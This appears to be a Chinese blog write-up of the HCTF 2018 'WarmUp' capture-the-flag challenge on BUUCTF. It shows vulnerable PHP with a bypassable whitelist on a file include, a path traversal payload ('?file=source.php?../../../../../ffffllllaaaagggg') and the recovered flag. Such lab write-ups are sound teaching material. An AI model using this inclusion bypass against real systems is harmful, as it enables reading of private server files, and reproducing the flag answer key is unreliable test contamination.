当前位置:网站首页>[HCTF 2018]WarmUp
[HCTF 2018]WarmUp
2022-06-21 17:14:00 【铂酆】
[HCTF 2018]WarmUp_BUUCTF

进入source.php
下面展示一些 内联代码片。
// An highlighted block
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
进入hint.php
下面展示一些 内联代码片。
// An highlighted block
flag not here, and flag in ffffllllaaaagggg
// An highlighted block
mb_strpos($page . '?', '?')
$_REQUEST['file'])
http://83b75fb1-65e3-4f04-8933-41d3533c7e2e.node4.buuoj.cn:81/
?file=source.php?
../../../../../ffffllllaaaagggg
flag{
4794b1d6-e0c2-4a6d-a5e9-d4025a55b5b2}
边栏推荐
猜你喜欢

工地建设动画网页建设中js特效

【微服务|Nacos】快速实现nacos的配置中心功能,并完成配置更新和版本迭代

新赛季的中超和国安,荆棘中前行

存储器分级介绍

In the new season, China Super League and Guoan are moving forward amid thorns

启动!阿里巴巴编程之夏2022

【艾思软件】微信小程序开发报价方案模版

Under the banana whose R & D accounts for only 3%, is it sunscreen black technology or IQ tax in summer?

一篇文章彻底学会画数据流图

C1—Qt实现简易计算器的思路2021.10.15
随机推荐
工地建设动画网页建设中js特效
Day15Qt中字符串的常用操作2021-10-20
Node输出方式
Typescript的继承
数据库主键一定要自增吗?有哪些场景不建议自增?
TypeScript对象类型
Character processing of node
VsCode自定义模板,用模板记笔记?!
STATA 速查备份(个人笔记)
Compound type of typescript
ACL 2022 | 基于自监督图对齐的多语言知识图谱推理
TypeScript的一些基本特征
Global installation of node
存储器分级介绍
Typescript compilation generation file comparison
Day16QtQLabel2021-10-22
Explanation of El table paging select all function
MarkDown高级语法,兼容MarkText
R语言 bug?报错?关于亚变量0、1 结局outcome,outcome变量经过factor和numeric过程,改变了原始内容?
Book at the end of the article | new work by teacher Li Hang! A new upgrade of the classic machine learning work statistical learning methods